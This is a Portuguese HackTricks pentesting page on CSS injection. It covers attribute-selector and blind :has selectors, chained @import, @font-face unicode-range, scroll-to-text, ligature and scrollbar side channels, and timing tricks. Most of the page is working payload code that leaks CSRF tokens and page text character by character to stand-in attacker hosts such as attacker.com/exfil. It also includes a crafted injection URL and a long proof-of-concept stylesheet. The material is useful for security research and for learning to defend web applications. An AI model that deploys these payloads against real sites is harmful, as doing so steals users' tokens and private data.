hacktricks/pentesting-web/xs-search/css-injection/README.md

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# CSS Injection
{% hint style="success" %}
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</details>
{% endhint %}
## CSS Injection
### Seletor de Atributo
Os seletores CSS são elaborados para corresponder aos valores dos atributos `name` e `value` de um elemento `input`. Se o atributo value do elemento de entrada começar com um caractere específico, um recurso externo pré-definido é carregado:
```css
input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}
```
No entanto, essa abordagem enfrenta uma limitação ao lidar com elementos de entrada ocultos (`type="hidden"`) porque elementos ocultos não carregam fundos.
#### Bypass para Elementos Ocultos
Para contornar essa limitação, você pode direcionar um elemento irmão subsequente usando o combinador de irmãos gerais `~`. A regra CSS então se aplica a todos os irmãos que seguem o elemento de entrada oculto, fazendo com que a imagem de fundo seja carregada:
```css
input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
```
Um exemplo prático de exploração dessa técnica é detalhado no trecho de código fornecido. Você pode visualizá-lo [aqui](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
#### Pré-requisitos para Injeção de CSS
Para que a técnica de Injeção de CSS seja eficaz, certas condições devem ser atendidas:
1. **Comprimento do Payload**: O vetor de injeção de CSS deve suportar payloads suficientemente longos para acomodar os seletores elaborados.
2. **Reavaliação de CSS**: Você deve ter a capacidade de emoldurar a página, o que é necessário para acionar a reavaliação do CSS com payloads recém-gerados.
3. **Recursos Externos**: A técnica assume a capacidade de usar imagens hospedadas externamente. Isso pode ser restrito pela Política de Segurança de Conteúdo (CSP) do site.
### Seletor de Atributo Cego
Como [**explicado neste post**](https://portswigger.net/research/blind-css-exfiltration), é possível combinar os seletores **`:has`** e **`:not`** para identificar conteúdo mesmo de elementos cegos. Isso é muito útil quando você não tem ideia do que está dentro da página da web que carrega a injeção de CSS.\
Também é possível usar esses seletores para extrair informações de vários blocos do mesmo tipo, como em:
```html
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background:url(/m);
}
</style>
<input name=mytoken value=1337>
<input name=myname value=gareth>
```
Combinando isso com a seguinte técnica de **@import**, é possível exfiltrar uma grande quantidade de **info usando injeção de CSS de páginas cegas com** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
### @import
A técnica anterior tem algumas desvantagens, verifique os pré-requisitos. Você precisa ser capaz de **enviar múltiplos links para a vítima**, ou precisa ser capaz de **iframe a página vulnerável à injeção de CSS**.
No entanto, há outra técnica inteligente que usa **CSS `@import`** para melhorar a qualidade da técnica.
Isso foi mostrado pela primeira vez por [**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf) e funciona assim:
Em vez de carregar a mesma página repetidamente com dezenas de diferentes payloads a cada vez (como na anterior), vamos **carregar a página apenas uma vez e apenas com um import para o servidor do atacante** (este é o payload a ser enviado para a vítima):
```css
@import url('//attacker.com:5001/start?');
```
1. A importação vai **receber algum script CSS** dos atacantes e o **navegador irá carregá-lo**.
2. A primeira parte do script CSS que o atacante enviará é **outra `@import` para o servidor dos atacantes novamente.**
1. O servidor dos atacantes não responderá a esta solicitação ainda, pois queremos vazar alguns caracteres e então responder a esta importação com a carga útil para vazar os próximos.
3. A segunda e maior parte da carga útil será um **payload de vazamento de seletor de atributo**
1. Isso enviará ao servidor dos atacantes o **primeiro caractere do segredo e o último**
4. Uma vez que o servidor dos atacantes tenha recebido o **primeiro e o último caractere do segredo**, ele **responderá à importação solicitada no passo 2**.
1. A resposta será exatamente a mesma que os **passos 2, 3 e 4**, mas desta vez tentará **encontrar o segundo caractere do segredo e depois o penúltimo**.
O atacante **seguirá esse loop até conseguir vazar completamente o segredo**.
Você pode encontrar o [**código original de Pepe Vila para explorar isso aqui**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) ou você pode encontrar quase o [**mesmo código, mas comentado aqui**.](./#css-injection)
{% hint style="info" %}
O script tentará descobrir 2 caracteres a cada vez (do início e do fim) porque o seletor de atributo permite fazer coisas como:
```css
/* value^= to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
/* value$= to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
```
Isso permite que o script vaze o segredo mais rápido.
{% endhint %}
{% hint style="warning" %}
Às vezes, o script **não detecta corretamente que o prefixo + sufixo descoberto já é a flag completa** e continuará avançando (no prefixo) e retrocedendo (no sufixo) e em algum momento ficará travado.\
Sem preocupações, apenas verifique a **saída** porque **você pode ver a flag lá**.
{% endhint %}
### Outros seletores
Outras maneiras de acessar partes do DOM com **seletores CSS**:
* **`.class-to-search:nth-child(2)`**: Isso irá buscar o segundo item com a classe "class-to-search" no DOM.
* **`:empty`** seletor: Usado por exemplo em [**este writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
```css
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }
```
### XS-Search baseado em erro
**Referência:** [Ataque baseado em CSS: Abusando unicode-range de @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [PoC XS-Search baseado em erro por @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
A intenção geral é **usar uma fonte personalizada de um endpoint controlado** e garantir que **o texto (neste caso, 'A') seja exibido com essa fonte apenas se o recurso especificado (`favicon.ico`) não puder ser carregado**.
```html
<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range:U+0041;
}
#poc0{
font-family: 'poc';
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
```
1. **Uso de Fonte Personalizada**:
- Uma fonte personalizada é definida usando a regra `@font-face` dentro de uma tag `<style>` na seção `<head>`.
- A fonte é nomeada `poc` e é buscada de um endpoint externo (`http://attacker.com/?leak`).
- A propriedade `unicode-range` é definida como `U+0041`, direcionando o caractere Unicode específico 'A'.
2. **Elemento Object com Texto de Reposição**:
- Um elemento `<object>` com `id="poc0"` é criado na seção `<body>`. Este elemento tenta carregar um recurso de `http://192.168.0.1/favicon.ico`.
- A `font-family` para este elemento é definida como `'poc'`, conforme definido na seção `<style>`.
- Se o recurso (`favicon.ico`) falhar ao carregar, o conteúdo de reposição (a letra 'A') dentro da tag `<object>` é exibido.
- O conteúdo de reposição ('A') será renderizado usando a fonte personalizada `poc` se o recurso externo não puder ser carregado.
### Estilizando Fragmento de Texto para Rolagem
A **`:target`** pseudo-classe é empregada para selecionar um elemento direcionado por um **fragmento de URL**, conforme especificado na [especificação de Seletores CSS Nível 4](https://drafts.csswg.org/selectors-4/#the-target-pseudo). É crucial entender que `::target-text` não corresponde a nenhum elemento a menos que o texto seja explicitamente direcionado pelo fragmento.
Uma preocupação de segurança surge quando atacantes exploram o recurso **Scroll-to-text**, permitindo que confirmem a presença de texto específico em uma página da web ao carregar um recurso de seu servidor através da injeção de HTML. O método envolve injetar uma regra CSS como esta:
```css
:target::before { content : url(target.png) }
```
Em tais cenários, se o texto "Administrator" estiver presente na página, o recurso `target.png` é solicitado ao servidor, indicando a presença do texto. Uma instância deste ataque pode ser executada através de uma URL especialmente elaborada que incorpora o CSS injetado junto com um fragmento Scroll-to-text:
```
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
```
Aqui, o ataque manipula a injeção de HTML para transmitir o código CSS, visando o texto específico "Administrator" através do fragmento Scroll-to-text (`#:~:text=Administrator`). Se o texto for encontrado, o recurso indicado é carregado, sinalizando inadvertidamente sua presença para o atacante.
Para mitigação, os seguintes pontos devem ser observados:
1. **Correspondência STTF Constrangida**: O Fragmento Scroll-to-text (STTF) é projetado para corresponder apenas a palavras ou frases, limitando assim sua capacidade de vazar segredos ou tokens arbitrários.
2. **Restrição a Contextos de Navegação de Nível Superior**: O STTF opera exclusivamente em contextos de navegação de nível superior e não funciona dentro de iframes, tornando qualquer tentativa de exploração mais perceptível para o usuário.
3. **Necessidade de Ativação do Usuário**: O STTF requer um gesto de ativação do usuário para operar, o que significa que as explorações são viáveis apenas por meio de navegações iniciadas pelo usuário. Esse requisito mitiga consideravelmente o risco de ataques serem automatizados sem interação do usuário. No entanto, o autor do post do blog aponta condições específicas e contornos (por exemplo, engenharia social, interação com extensões de navegador prevalentes) que podem facilitar a automação do ataque.
A conscientização sobre esses mecanismos e vulnerabilidades potenciais é fundamental para manter a segurança na web e proteger contra táticas exploratórias.
Para mais informações, consulte o relatório original: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
Você pode conferir um [**exploit usando esta técnica para um CTF aqui**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
Você pode especificar **fontes externas para valores unicode específicos** que só serão **coletados se esses valores unicode estiverem presentes** na página. Por exemplo:
```html
<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>
<p id="sensitive-information">AB</p>htm
```
Quando você acessa esta página, o Chrome e o Firefox buscam "?A" e "?B" porque o nó de texto de sensitive-information contém os caracteres "A" e "B". Mas o Chrome e o Firefox não buscam "?C" porque não contém "C". Isso significa que conseguimos ler "A" e "B".
### Exfiltração de nó de texto (I): ligaduras <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
**Referência:** [Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
A técnica descrita envolve a extração de texto de um nó explorando ligaduras de fonte e monitorando mudanças na largura. O processo envolve várias etapas:
1. **Criação de Fontes Personalizadas**:
- Fontes SVG são criadas com glifos que têm um atributo `horiz-adv-x`, que define uma largura grande para um glifo representando uma sequência de dois caracteres.
- Exemplo de glifo SVG: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, onde "XY" denota uma sequência de dois caracteres.
- Essas fontes são então convertidas para o formato woff usando fontforge.
2. **Detecção de Mudanças de Largura**:
- CSS é usado para garantir que o texto não quebre (`white-space: nowrap`) e para personalizar o estilo da barra de rolagem.
- A aparição de uma barra de rolagem horizontal, estilizada de forma distinta, atua como um indicador (oráculo) de que uma ligadura específica, e portanto uma sequência de caracteres específica, está presente no texto.
- O CSS envolvido:
```css
body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
```
3. **Processo de Exploração**:
- **Passo 1**: Fontes são criadas para pares de caracteres com largura substancial.
- **Passo 2**: Um truque baseado em barra de rolagem é empregado para detectar quando o glifo de grande largura (ligadura para um par de caracteres) é renderizado, indicando a presença da sequência de caracteres.
- **Passo 3**: Ao detectar uma ligadura, novos glifos representando sequências de três caracteres são gerados, incorporando o par detectado e adicionando um caractere anterior ou posterior.
- **Passo 4**: A detecção da ligadura de três caracteres é realizada.
- **Passo 5**: O processo se repete, revelando progressivamente todo o texto.
4. **Otimização**:
- O método de inicialização atual usando `<meta refresh=...` não é ideal.
- Uma abordagem mais eficiente poderia envolver o truque CSS `@import`, melhorando o desempenho da exploração.
### Exfiltração de nó de texto (II): vazando o charset com uma fonte padrão (não requerendo ativos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referência:** [PoC usando Comic Sans por @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
Esse truque foi lançado neste [**thread do Slackers**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/). O charset usado em um nó de texto pode ser vazado **usando as fontes padrão** instaladas no navegador: não são necessárias fontes externas -ou personalizadas-.
O conceito gira em torno da utilização de uma animação para expandir gradualmente a largura de um `div`, permitindo que um caractere de cada vez transite da parte 'sufixo' do texto para a parte 'prefixo'. Esse processo efetivamente divide o texto em duas seções:
1. **Prefixo**: A linha inicial.
2. **Sufixo**: A(s) linha(s) subsequente(s).
As etapas de transição dos caracteres apareceriam da seguinte forma:
**C**\
ADB
**CA**\
DB
**CAD**\
B
**CADB**
Durante essa transição, o **truque unicode-range** é empregado para identificar cada novo caractere à medida que se junta ao prefixo. Isso é alcançado mudando a fonte para Comic Sans, que é notavelmente mais alta do que a fonte padrão, acionando assim uma barra de rolagem vertical. A aparição dessa barra de rolagem revela indiretamente a presença de um novo caractere no prefixo.
Embora esse método permita a detecção de caracteres únicos à medida que aparecem, não especifica qual caractere está sendo repetido, apenas que uma repetição ocorreu.
{% hint style="info" %}
Basicamente, o **unicode-range é usado para detectar um char**, mas como não queremos carregar uma fonte externa, precisamos encontrar outra maneira.\
Quando o **char** é **encontrado**, ele é **dado** a fonte **Comic Sans** pré-instalada, que **torna** o char **maior** e **aciona uma barra de rolagem** que irá **vazar o char encontrado**.
{% endhint %}
Verifique o código extraído do PoC:
```css
/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}
div::-webkit-scrollbar {
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
```
### Exfiltração de nó de texto (III): vazando o charset com uma fonte padrão ao esconder elementos (não requerendo ativos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referência:** Isso é mencionado como [uma solução malsucedida neste relatório](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Este caso é muito semelhante ao anterior, no entanto, neste caso o objetivo de fazer **chars específicos maiores que outros é esconder algo** como um botão para não ser pressionado pelo bot ou uma imagem que não será carregada. Assim, poderíamos medir a ação (ou a falta da ação) e saber se um char específico está presente dentro do texto.
### Exfiltração de nó de texto (III): vazando o charset por tempo de cache (não requerendo ativos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referência:** Isso é mencionado como [uma solução malsucedida neste relatório](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Neste caso, poderíamos tentar vazar se um char está no texto carregando uma fonte falsa da mesma origem:
```css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
```
Se houver uma correspondência, a **fonte será carregada de `/static/bootstrap.min.css?q=1`**. Embora não carregue com sucesso, o **navegador deve armazená-la em cache**, e mesmo que não haja cache, existe um mecanismo de **304 not modified**, então a **resposta deve ser mais rápida** do que outras coisas.
No entanto, se a diferença de tempo da resposta em cache em relação à não em cache não for grande o suficiente, isso não será útil. Por exemplo, o autor mencionou: No entanto, após testar, descobri que o primeiro problema é que a velocidade não é muito diferente, e o segundo problema é que o bot usa a flag `disk-cache-size=1`, o que é realmente atencioso.
### Exfiltração de nó de texto (III): vazando o charset ao cronometrar o carregamento de centenas de "fontes" locais (não requerendo ativos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referência:** Isso é mencionado como [uma solução malsucedida neste relatório](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Neste caso, você pode indicar **CSS para carregar centenas de fontes falsas** da mesma origem quando uma correspondência ocorre. Dessa forma, você pode **medir o tempo** que leva e descobrir se um caractere aparece ou não com algo como:
```css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
```
E o código do bot se parece com isto:
```python
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
```
Então, se a fonte não corresponder, o tempo de resposta ao visitar o bot deve ser de aproximadamente 30 segundos. No entanto, se houver uma correspondência de fonte, várias solicitações serão enviadas para recuperar a fonte, causando atividade contínua na rede. Como resultado, levará mais tempo para satisfazer a condição de parada e receber a resposta. Portanto, o tempo de resposta pode ser usado como um indicador para determinar se há uma correspondência de fonte.
## Referências
* [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
* [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
* [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
* [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
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